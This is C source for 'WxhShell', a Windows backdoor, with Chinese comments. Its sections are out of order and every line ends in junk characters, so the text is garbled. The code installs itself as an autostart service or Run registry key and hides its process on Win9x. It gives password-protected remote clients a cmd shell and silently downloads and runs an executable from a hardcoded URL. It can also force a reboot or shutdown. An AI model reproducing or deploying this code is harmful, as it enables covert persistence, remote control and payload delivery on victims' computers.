    if(Boot(SHUTDOWN)) y~OP9Tg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '.%Omc  
    else { 6,1oLvU  
    closesocket(wsh); <ir]bQT  
    ExitThread(0); Z-}A "n  
    } 4,YL15.  
    break; h4ntjk|{i7  
    } `DGI|3  
  // 获取shell Y0Tw:1a  
  case 's': { 7;.Iat9gMf  
    CmdShell(wsh); keQRS+9  
    closesocket(wsh); OqH3. @eK  
    ExitThread(0); b!J?>du  
    break; * _usVg  
  } e1V1Ae  
  // 退出 /VEK<.,aMv  
  case 'x': { icVB?M,m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;U a48pSv  
    CloseIt(wsh); u+6L>7t88I  
    break; P%R9\iajH  
    } fV6ddh  
  // 离开 L|b[6[XTHL  
  case 'q': { M= 3w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z wwJyy%/  
    closesocket(wsh); f4 +P2j  
    WSACleanup(); 6N Ogi  
    exit(1); NTCFmdbs 6  
    break; &Wdi 5T8  
        } 5V/]7>b1  
  } 9@Cu5U]  
  } ?djH!  
,j(E>g3  
  // 提示信息 Ck m:;q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oxnI/Z  
} +l]> (k.2  
  } M,oZ_tY%  
?} E M,  
  return; %SCt_9u  
} /#t::b+>x  
1@TL>jq  
// shell模块句柄 /&czaAR-  
int CmdShell(SOCKET sock) j]-_kjt  
{ P_p\OK*l]o  
STARTUPINFO si; -M T1qqi  
ZeroMemory(&si,sizeof(si)); sC2NFb-+&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pv)^L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N<Ym&$xR  
PROCESS_INFORMATION ProcessInfo; L0{ [L  
char cmdline[]="cmd"; &?xtmg<d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  VS7  
  return 0; U ){4W0  
} 3=Uyt  
?Ycl!0m  
// 自身启动模式 *.1#+h/]3  
int StartFromService(void) VT~%);.#  
{ dd +lQJ c  
typedef struct VH+3o?nrT  
{ 6p&uifY}tR  
  DWORD ExitStatus; MIiBNNURX  
  DWORD PebBaseAddress; 'X4)2iFV  
  DWORD AffinityMask; Oi@|4mo  
  DWORD BasePriority; 7@k3-?q  
  ULONG UniqueProcessId; G-:7,9  
  ULONG InheritedFromUniqueProcessId; 7>0/$i#'Vl  
}   PROCESS_BASIC_INFORMATION; FKhgUnw  
@FF{lK?[  
PROCNTQSIP NtQueryInformationProcess; ofI,[z3  
sint":1FC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'w<^4/L Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^LXsU] R  
3Tw9Uc\vT  
  HANDLE             hProcess; cT&lkS  
  PROCESS_BASIC_INFORMATION pbi; O69TU[Vn  
ZTB6m`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0 xvSi9  
  if(NULL == hInst ) return 0; bJ6H6D>  
z/p^C~|}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y ;E'gP-J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xh25 *y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z>X]'q03  
]F;1l3I-  
  if (!NtQueryInformationProcess) return 0; \F+".X#jh  
Ul 85-p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /L|x3RHs  
  if(!hProcess) return 0; TT#V'r\  
376z~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lh XD9ed  
Tfv @oPu  
  CloseHandle(hProcess); &%(SkL_]  
~,8#\]xR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q@ wX=  
if(hProcess==NULL) return 0; kK:Wr&X0H  
&h7 n>q  
HMODULE hMod; ];=|))ky"  
char procName[255]; ;WrG\R/|  
unsigned long cbNeeded; g 4 $  
VyNU<}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0&\71txrzg  
a^[s[j#^,  
  CloseHandle(hProcess); h\~!!F  
\TDn q!)?  
if(strstr(procName,"services")) return 1; // 以服务启动 Zz 'g&ewo  
`/i/AZ{  
  return 0; // 注册表启动 ^AXH}g  
} _c:th{*  
,K PrUM}  
// 主模块 #i.BOQxS  
int StartWxhshell(LPSTR lpCmdLine) gt~u/Z%  
{ pQ4HX)<P  
  SOCKET wsl; ~[BGKq h  
BOOL val=TRUE; PB BJ.!Pb  
  int port=0; CU*;>h1~u  
  struct sockaddr_in door; } ,Dk6w$  
j|p=JrCJ  
  if(wscfg.ws_autoins) Install(); f%[xl6VE;  
n 1^h;2gz  
port=atoi(lpCmdLine); BXz g33  
f3.oc9G  
if(port<=0) port=wscfg.ws_port; I9#l2<DYlX  
t47;X}y f  
  WSADATA data; \DD4=XGA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :gRVa=}=  
N\?__WlBK7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0Xn,q]@Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *#?9@0b@  
  door.sin_family = AF_INET; EW `WFBjj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -0NkAQrg  
  door.sin_port = htons(port); [I<J6=  
wCj)@3F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hwi_=-SL  
closesocket(wsl); pm[i#V<v  
return 1; 66_=bd(9  
} /pLf?m9  
oBo |eRIt|  
  if(listen(wsl,2) == INVALID_SOCKET) { x7jFYC  
closesocket(wsl); %ca`v;].  
return 1; 6J$I8b#/  
} ]Qp-$)N  
  Wxhshell(wsl); P /q] u  
  WSACleanup(); g$/7km{TP  
pRjrMS  
return 0; wMCgL h\wi  
;W\?lGOs{  
} (_gt!i{h  
Y\4B2:Qd9  
// 以NT服务方式启动 )N\B C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2)QZYgfh  
{ 5rQu^6&  
DWORD   status = 0; |fgh ryI,  
  DWORD   specificError = 0xfffffff; #hXvGon$?  
+u&3pK>f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [.C P,Ly  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l$R9c+L=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {/48n83n  
  serviceStatus.dwWin32ExitCode     = 0; ,*m|Lt%;R  
  serviceStatus.dwServiceSpecificExitCode = 0; 'S&Zq:  
  serviceStatus.dwCheckPoint       = 0; {*  w _*  
  serviceStatus.dwWaitHint       = 0; ETdN<}m  
zzd PR}VG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gp'k(rGH  
  if (hServiceStatusHandle==0) return; w2lO[o~x}  
(eHTXk*V`  
status = GetLastError(); 6/" #pe^  
  if (status!=NO_ERROR) \ *g3j  
{ 3Lv5>[MnN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S{{wcH$n'i  
    serviceStatus.dwCheckPoint       = 0; :1]J{,VG  
    serviceStatus.dwWaitHint       = 0; 1vJj?Uqc  
    serviceStatus.dwWin32ExitCode     = status; |PGTP#O<  
    serviceStatus.dwServiceSpecificExitCode = specificError; 95ix~cH3q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TWfk r  
    return; Ya!PV&"Z  
  } 'tX}6wurf  
mSk";UCn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8-@H zS%  
  serviceStatus.dwCheckPoint       = 0; Q DKY7"H  
  serviceStatus.dwWaitHint       = 0; 4<f^/!9w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g\iSc~%?  
} Lnq CHe  
WB `h)  
// 处理NT服务事件,比如:启动、停止 3'SN0VL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,TYFPulYcp  
{ qT#NS&T!-  
switch(fdwControl) MfdkvJ'  
{ nmyDGuzk  
case SERVICE_CONTROL_STOP: >Y|P+Z\7  
  serviceStatus.dwWin32ExitCode = 0; by,3A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vRDs~'f  
  serviceStatus.dwCheckPoint   = 0; M(^ e)7a1  
  serviceStatus.dwWaitHint     = 0; \#F>R,  
  { 5%@~"YCo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "QBl "<<s  
  } p )WRsJ8  
  return; J90 )v7  
case SERVICE_CONTROL_PAUSE: ##Qy6Dc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4Bt)t#0  
  break; T!^v^m@>y  
case SERVICE_CONTROL_CONTINUE: Wy /5Qw~s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (io[O?te  
  break; 4C*0MV  
case SERVICE_CONTROL_INTERROGATE: ,zZ@QW5  
  break; ^a1k"|E?f  
}; ,H$%'s1I(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,&Vir)S  
} kN 0N18E  
<5G 4|l  
// 标准应用程序主函数 AWA J*6Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g?cxqC<  
{ )a%E $`   
<KE%|6oER  
// 获取操作系统版本 /neY2D6  
OsIsNt=GetOsVer(); 6 tB\X^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~Qf\DTM&  
k$kxw_N5d  
  // 从命令行安装 Q~KzcB<  
  if(strpbrk(lpCmdLine,"iI")) Install(); } na@gn  
S5YEz XG  
  // 下载执行文件 iI &z5Q2  
if(wscfg.ws_downexe) { ]c]^(C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3/]~#y%2  
  WinExec(wscfg.ws_filenam,SW_HIDE); _p^Wc.[~M  
} _!w69>Nj  
J.O{+{&cd  
if(!OsIsNt) { KJs`[,;<  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kb'4W-&u!  
HideProc(); LX=cx$K  
StartWxhshell(lpCmdLine); %Z-xh< &  
} u 7 <VD  
else *uKYrs [  
  if(StartFromService()) u_FN'p=.  
  // 以服务方式启动 BQs\!~Ux2  
  StartServiceCtrlDispatcher(DispatchTable); !"'6$"U\K  
else t oM+Bd:Y  
  // 普通方式启动 RS@G.|  
  StartWxhshell(lpCmdLine); :u)Qs#'29  
YHxQb$v)  
return 0; uh>"TeOi  
} ,4;'s  
B$S@xD $  
~~Rq$'q}  
|Nadk(}  
=========================================== !JVv`YN  
F'JT7# eX  
8I<j"6`+Q  
A.RG8"  
`\/\C[Gg  
VA %lJ!$  
" p Ohjq#}  
^/xb-tuV  
#include <stdio.h> @xk;]H80  
#include <string.h> C 7YS>?^]  
#include <windows.h> |qU~({=b  
#include <winsock2.h> 43~v1pf{!  
#include <winsvc.h> FL&L$#X  
#include <urlmon.h> <UTO\w%  
Zcg-i:@  
#pragma comment (lib, "Ws2_32.lib") ,C:^K`k&  
#pragma comment (lib, "urlmon.lib") *r7%'K{ C  
v] m`rV8S[  
#define MAX_USER   100 // 最大客户端连接数 EiyHZ  
#define BUF_SOCK   200 // sock buffer <q&i"[^M  
#define KEY_BUFF   255 // 输入 buffer %_~1(Glz  
{!!8 *ix  
#define REBOOT     0   // 重启 ^),;`YXZ  
#define SHUTDOWN   1   // 关机 _ x$\E  
}FX:sa?5  
#define DEF_PORT   5000 // 监听端口 fUOQ(BGp  
m/< @Qw  
#define REG_LEN     16   // 注册表键长度  lsgZ  
#define SVC_LEN     80   // NT服务名长度 z f >(Y7M  
n;~'W*Ln0  
// 从dll定义API c4s,T"H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H;[?8h(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =Q6JXp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y I[kaH"J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9! yDZ<s  
RVF<l?EI4R  
// wxhshell配置信息 /2Ok;!.  
struct WSCFG { def\=WyK  
  int ws_port;         // 监听端口 x&$8;2&.  
  char ws_passstr[REG_LEN]; // 口令 U8</aQLGF  
  int ws_autoins;       // 安装标记, 1=yes 0=no %/SHB  
  char ws_regname[REG_LEN]; // 注册表键名 vYq"W%  
  char ws_svcname[REG_LEN]; // 服务名 kovJ9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .&h|r>*|J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Sw>,Q-32  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t@iw&> 8z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E5Ls/ H K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #T8PgmR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `3z6y& dmx  
]?NiY:v  
};  xS="o  
G'wyH[ d/  
// default Wxhshell configuration $J0o%9K   
struct WSCFG wscfg={DEF_PORT, !LsIHDs4  
    "xuhuanlingzhe", L D%SLJ:  
    1, Pj5:=d8z(  
    "Wxhshell", IBW-[lr7  
    "Wxhshell", `trcYmR=k  
            "WxhShell Service", 6LqF*$+$`  
    "Wrsky Windows CmdShell Service", Hr \vu`p$  
    "Please Input Your Password: ", :!FGvR6  
  1, @ *5+ZAF  
  "http://www.wrsky.com/wxhshell.exe", v"<M ~9T)  
  "Wxhshell.exe" H8m[:K]_H  
    }; R{6M(!x  
} V"A;5j`  
// 消息定义模块 WE+Szg(4x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [}}q/7Lp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sWi4+PAM0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sae*VvT6  
char *msg_ws_ext="\n\rExit."; N,*'")k9  
char *msg_ws_end="\n\rQuit."; vtc%MG1  
char *msg_ws_boot="\n\rReboot..."; Ga pM~~  
char *msg_ws_poff="\n\rShutdown..."; /!60oV4p0  
char *msg_ws_down="\n\rSave to "; Q@*9|6-  
?!3u ?Kd  
char *msg_ws_err="\n\rErr!"; O8-Z >;  
char *msg_ws_ok="\n\rOK!"; P!{J28dj  
|\)Y,~;P  
char ExeFile[MAX_PATH]; a|k*A&5u2  
int nUser = 0; }{[JS=A^  
HANDLE handles[MAX_USER]; Yqv!ZJ6  
int OsIsNt;  O@skd2  
mqY=N~/O  
SERVICE_STATUS       serviceStatus; gb}ov* *  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }^*`&Lh  
=>O{hT ^F  
// 函数声明 *=Ma5J.  
int Install(void); |`+ (O  
int Uninstall(void); '}q/;}ih  
int DownloadFile(char *sURL, SOCKET wsh); Gq7\b({=  
int Boot(int flag); mt[ #=Yba  
void HideProc(void);  gOp81)  
int GetOsVer(void); a;&0u>  
int Wxhshell(SOCKET wsl); TeyFq0j@'  
void TalkWithClient(void *cs); l vBcEg  
int CmdShell(SOCKET sock); gRZ!=z[&  
int StartFromService(void); Dj3,SJ*x  
int StartWxhshell(LPSTR lpCmdLine); Rk{vz|  
>xXq:4l>}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9j5B(_J^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XMaw:Fgr  
z$VVt ?K  
// 数据结构和表定义 GY"c1 KE$  
SERVICE_TABLE_ENTRY DispatchTable[] = :J+ANIRI  
{ LCb0Kq}*/(  
{wscfg.ws_svcname, NTServiceMain},  }s8xr>  
{NULL, NULL} R?J8#JPXD  
}; {@PZlQg  
Ij9=J1c4  
// 自我安装 v7D0E[)~  
int Install(void) VS65SxHA  
{ BU|m{YZ$  
  char svExeFile[MAX_PATH]; /)4Q%Zp  
  HKEY key; {&FOa'bP  
  strcpy(svExeFile,ExeFile); r>rL[`p(2  
<t"fL RX  
// 如果是win9x系统,修改注册表设为自启动 ?DY6V;&F@f  
if(!OsIsNt) { |{rhks~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9MbF:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fS%B/h=  
  RegCloseKey(key); "Q{7X[$$^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u=0161g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .fK~IKA  
  RegCloseKey(key); "po;[ Ia2  
  return 0; \#gguq?[  
    } msOE#QL6a  
  } I}awembw g  
} v(,YqT>q@U  
else { {RD9j1  
"J `#  
// 如果是NT以上系统,安装为系统服务 BiZYGq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tw] l  
if (schSCManager!=0) dd4^4X`j  
{ <W*6=HZ'  
  SC_HANDLE schService = CreateService C k/DV  
  ( WJ\,Y} J  
  schSCManager, ~SXqhX-`  
  wscfg.ws_svcname, \8k4v#wH  
  wscfg.ws_svcdisp, C]3^:b+   
  SERVICE_ALL_ACCESS, 59V8cO+qH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U?EXPi61Z  
  SERVICE_AUTO_START, Bo0T}P~  
  SERVICE_ERROR_NORMAL, V]Uc@7S/  
  svExeFile, 9rM#w"E?<  
  NULL, semTAoqH  
  NULL, %xC}#RDf  
  NULL, zXe]P(p<  
  NULL, )W1[{?  
  NULL q%XjJ -s:  
  ); A'*#UYn(  
  if (schService!=0) ^ JU#_  
  { "a<:fEsSE  
  CloseServiceHandle(schService); xzf/W+.>.  
  CloseServiceHandle(schSCManager); ayN[y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yv[<c!\   
  strcat(svExeFile,wscfg.ws_svcname); = jTC+0u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l?HC-_Pbh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c2PBYFCyC  
  RegCloseKey(key); V@`%k]k  
  return 0; m-Se-aF  
    } 6dRvx;d  
  } Ls&-8  
  CloseServiceHandle(schSCManager); Y{8}z ZD  
} c7R6.T  
} g? C<@  
0aYoc-( A  
return 1; G6X5`eLQ  
} YIHGXi<"n  
~Vc`AcWP  
// 自我卸载 A!a.,{fZ  
int Uninstall(void) +,eF(VS!  
{ hE +M|#o  
  HKEY key; U bh)}G,Mg  
mD,fxm{G  
if(!OsIsNt) { > v4+@o[~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M4t:)!dji?  
  RegDeleteValue(key,wscfg.ws_regname); pwNF\ ={  
  RegCloseKey(key); Z5"5Ge-M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,fhK  
  RegDeleteValue(key,wscfg.ws_regname); !" @<!  
  RegCloseKey(key); S]gV!Q4%  
  return 0; t1!>EI`  
  } kU{a!ca4  
} ,/dW*B  
} es\Fn#?O  
else { @$;I%  
0fN; L;v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 26=G%F6  
if (schSCManager!=0) } ;d=  
{ Z3-=TN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |zy` ]p9  
  if (schService!=0) z:A_  
  { :VX2&*  
  if(DeleteService(schService)!=0) { BfDC[(n`  
  CloseServiceHandle(schService); 3O|2Z~>3  
  CloseServiceHandle(schSCManager); b\UE+\a&  
  return 0; QH kjxj  
  } Yd<9Y\W%?  
  CloseServiceHandle(schService); ~8)l/I=`);  
  } I-W ,C &J>  
  CloseServiceHandle(schSCManager); D*g K,`  
} w$jSlgUHy)  
} :bq UA(k  
HHT8_c'CC#  
return 1; ,9$|"e&  
} ?',GRaD  
!fJy7Y  
// 从指定url下载文件 , Q)  
int DownloadFile(char *sURL, SOCKET wsh) x}uDW   
{ p uW  
  HRESULT hr; s6Il3K f  
char seps[]= "/"; `X(H,Q}*;  
char *token; )c<[@ ::i  
char *file; QvlV jDIy  
char myURL[MAX_PATH]; yL23 Nqe  
char myFILE[MAX_PATH]; j/1 f|x  
Z5@E|O&  
strcpy(myURL,sURL); mJsU7bD`  
  token=strtok(myURL,seps); 12l1u[TlS  
  while(token!=NULL) !HF<fn  
  { 8k^1:gt^  
    file=token; ~bgM*4GW  
  token=strtok(NULL,seps); 6|1*gl1_LD  
  } 4p>,  
-v9x tNg  
GetCurrentDirectory(MAX_PATH,myFILE); C-&s$5MzGb  
strcat(myFILE, "\\"); _:KeSskuO  
strcat(myFILE, file); N,&bBp  
  send(wsh,myFILE,strlen(myFILE),0); tYx>?~   
send(wsh,"...",3,0); ;b 'L2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  X*`b}^T  
  if(hr==S_OK) & z5:v-G?  
return 0; ov1#BeQ  
else ob9=/ R?i  
return 1; Xv xrz{  
,v#3A7"yW  
} 0hq\{pw_y*  
n]3Z~HoZ  
// 系统电源模块 :#=B wdC  
int Boot(int flag) m[hHaX  
{ Q}1qt4xy*  
  HANDLE hToken; -#r=  
  TOKEN_PRIVILEGES tkp; 'K|F{K  
4Dasj8GsV  
  if(OsIsNt) { pJ/{X=y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +ux`}L(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _!%@V=  
    tkp.PrivilegeCount = 1; A9z3SJ\vXl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xiF}{25a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v3cLU7bi?2  
if(flag==REBOOT) { /Y [ b8f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $I9U.~*  
  return 0; Z*.rv t  
} +#6f)H(P]  
else { ;bFd*8?;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pxgal4{6  
  return 0; 9!6u Yf+  
} 9 }  ]C  
  } ' ?EG+o8  
  else { srH.$Y;~  
if(flag==REBOOT) { }+F@A`Bm&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @Suww@<  
  return 0;  ;ih;8  
} \# 1p  
else { :d@RN+U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ee=!bv(%70  
  return 0; 9<5ii  
} ngzQVaB9  
} T )bMHk  
x/%/MFK)>8  
return 1; gKRlXVS  
} S~GS:E#  
;>Z0e`=  
// win9x进程隐藏模块 ;p:CrFv  
void HideProc(void) %/RT}CBBsW  
{ R)%I9M,  
wLo<gA6;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r`PD}6\  
  if ( hKernel != NULL ) @y,>cDg  
  { .<6'*X R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K^%ONultv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AdRK)L  
    FreeLibrary(hKernel); [\=1|t5n~  
  } COA>y?  
'Ge8l%p  
return; 9\%`/tJM  
} V|pO";%>,  
P@U2Q%\  
// 获取操作系统版本 OOzXA%<%c  
int GetOsVer(void) Y5<W"[B!  
{ j_SUR)5  
  OSVERSIONINFO winfo; 9M@,BXOt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tQ`|MO&o  
  GetVersionEx(&winfo); \Z-Fu=8J8^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Oki{)Ssy  
  return 1; `?SLp  
  else i.e4<|{  
  return 0; TmJXkR.5  
} %t]{C06w+{  
0_-P~^A  
// 客户端句柄模块 /$|-!e<5b\  
int Wxhshell(SOCKET wsl) Sea6xGdq  
{ BxB B](  
  SOCKET wsh; d/\ajQ1::  
  struct sockaddr_in client; dHtEyF  
  DWORD myID; ^O&&QRH~w  
p,7?rI\N  
  while(nUser<MAX_USER) dAi.^! !  
{ YAd%d|Q  
  int nSize=sizeof(client); Myh?=:1~(c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )g`~,3G  
  if(wsh==INVALID_SOCKET) return 1; Ij:yTu   
?3<Y/Vg%c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LXf|n  
if(handles[nUser]==0) bl#6B.*=  
  closesocket(wsh); 7nZ3u _~  
else ]^<\a=U  
  nUser++; SA?1*dw)  
  } ,Uy;jk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *TPWLR ^  
`k(m2k ?  
  return 0; Q|G|5X  
} X#o;`QM  
M%7|7V<o)^  
// 关闭 socket aTs9lr:  
void CloseIt(SOCKET wsh) 6#HnA"I2n  
{ p:3w8#)MZ  
closesocket(wsh); Q<(aU{  
nUser--; UkC'`NWF*  
ExitThread(0); @[ {5{ y  
} cvYKZB  
(t,mtdD#1  
// 客户端请求句柄 l)V646-O,~  
void TalkWithClient(void *cs) 18]Q4s8E  
{ a>k9& w  
}Ggn2 X  
  SOCKET wsh=(SOCKET)cs; co' qVsOiH  
  char pwd[SVC_LEN]; t<%+))b  
  char cmd[KEY_BUFF]; x!u6LDq0  
char chr[1]; F1p|^hYDW  
int i,j; gBZNO! a,d  
$paE6X^  
  while (nUser < MAX_USER) { /Z]hX*QR  
5[~ C!t;  
if(wscfg.ws_passstr) { UU ' 9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [YJ*zO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m/`L3@7Tt  
  //ZeroMemory(pwd,KEY_BUFF); /9| 2uw`  
      i=0; bG+Gg*0p  
  while(i<SVC_LEN) { WN o+%  
^Zlbs goZ  
  // 设置超时 4v2JrC;  
  fd_set FdRead; {vur9L  
  struct timeval TimeOut; 3M>y.MS  
  FD_ZERO(&FdRead); C}\kp0mz  
  FD_SET(wsh,&FdRead); GE\({V.W  
  TimeOut.tv_sec=8; <80M$a g  
  TimeOut.tv_usec=0; Pt'=_^Io  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }MtORqK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A@reIt  
`R*!GHro  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nFwdW@E9  
  pwd=chr[0]; FV%|*JW[;N  
  if(chr[0]==0xd || chr[0]==0xa) { Uh^j;s\y  
  pwd=0; @9\E  
  break; f|2QI ~R  
  } eGo$F2C6E  
  i++; z'0 =3  
    } _V` QvnT}  
[ * !0DW`  
  // 如果是非法用户,关闭 socket <lWBhrz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GD!!xt  
} F0'8n6zj  
FQcm =d_s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Sf t,$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D?"Q)kVuD  
,Uy~O(F t  
while(1) { Vb?_RE_H  
g5 y*-t  
  ZeroMemory(cmd,KEY_BUFF); ,|w,  
E%$[*jZ  
      // 自动支持客户端 telnet标准   &]c7<=`K"  
  j=0; v=D4O.  
  while(j<KEY_BUFF) { &CfzhIi*!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "rw'mogRL  
  cmd[j]=chr[0]; / q^_ 'Lp  
  if(chr[0]==0xa || chr[0]==0xd) { Q|Nw @7$`  
  cmd[j]=0; :{?Pq8jP  
  break; D~,i I7ac  
  } @>[3 [;  
  j++; hxGo~<. :  
    } RR>G}u9 np  
P}-S[[b73s  
  // 下载文件 x^ sTGd  
  if(strstr(cmd,"http://")) { Ky{C;7X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5_SxX@fW %  
  if(DownloadFile(cmd,wsh)) C3; d.KlV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5%" 0  
  else Vje LPbk)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8+~'T|  
